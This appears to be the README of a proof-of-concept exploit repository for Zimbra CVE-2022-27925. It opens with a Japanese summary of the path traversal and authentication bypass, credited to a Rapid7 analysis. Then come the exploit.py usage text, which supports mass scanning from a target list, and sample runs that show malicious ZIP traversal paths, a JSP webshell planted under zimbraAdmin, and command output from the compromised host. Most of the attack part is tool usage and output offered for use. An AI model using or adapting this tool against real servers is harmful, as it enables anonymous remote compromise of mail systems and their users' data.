sanan2004/cve-2022-27925PoC
2022年5月10日、Zimbraは、CVE-2022-27924（以前に取り上げたもの）とCVE-2022-27925を含む、Zimbra Collaboration Suiteの複数の脆弱性に対処するため、バージョン9.0.0 patch 24および8.8.15 patch 31をリリースしました。
当初、ZimbraはCVE-2022-27925を、管理者ユーザーがZimbraアカウントとしてファイルシステム上の任意のディレクトリにファイルを書き込むことができる、認証済みのパストラバーサル攻撃と呼んでいました。当初は管理者のみが攻撃できると考えられていたため、NVDはこれにCVSS基本スコア7.8を割り当てました。その後、Volexityは、この脆弱性を悪用する攻撃者が管理者権限の要件をバイパスする方法を見つけたことに気づき、2022年8月10日にこれについて報告しました。この新しい認証バイパスには、新しい識別子であるCVE-2022-37042が割り当てられました。
元のパストラバーサル脆弱性と新しい認証バイパスを組み合わせることで、攻撃者は管理者ポート（デフォルトでは7071）を介して、Zimbra Collaboration Suiteシステムを匿名でリモートから侵害できます。私たちが最近取り上げ、エクスプロイトを作成した、現在もパッチが適用されていない権限昇格の脆弱性と組み合わせることで、これら3つの脆弱性により、未パッチのシステム上でrootユーザーとしてリモートからコマンド実行が可能になります。
公開されているアドバイザリには記載されていませんが、私たちの分析によると、Zimbra Collaboration Suite Network Edition（有料版）は脆弱であり、Open Source Edition（無料版）は脆弱ではありません（脆弱なmboximportエンドポイントが存在しないため）。脆弱なバージョンは次のとおりです。
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)
これらの脆弱性（およびZimbraの他の脆弱性）は、広範囲に及ぶ実際の悪用の対象となっているため、できるだけ早くパッチを適用するか、オフラインにする必要があります。侵害された疑いがある場合、Zimbraは最新のパッチを適用した状態で、データを失わずにZimbra Collaboration Suiteサーバーを最初から再構築する手順を提供しています。
出典: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 Sanan Qasim
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 sanan Qasim
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable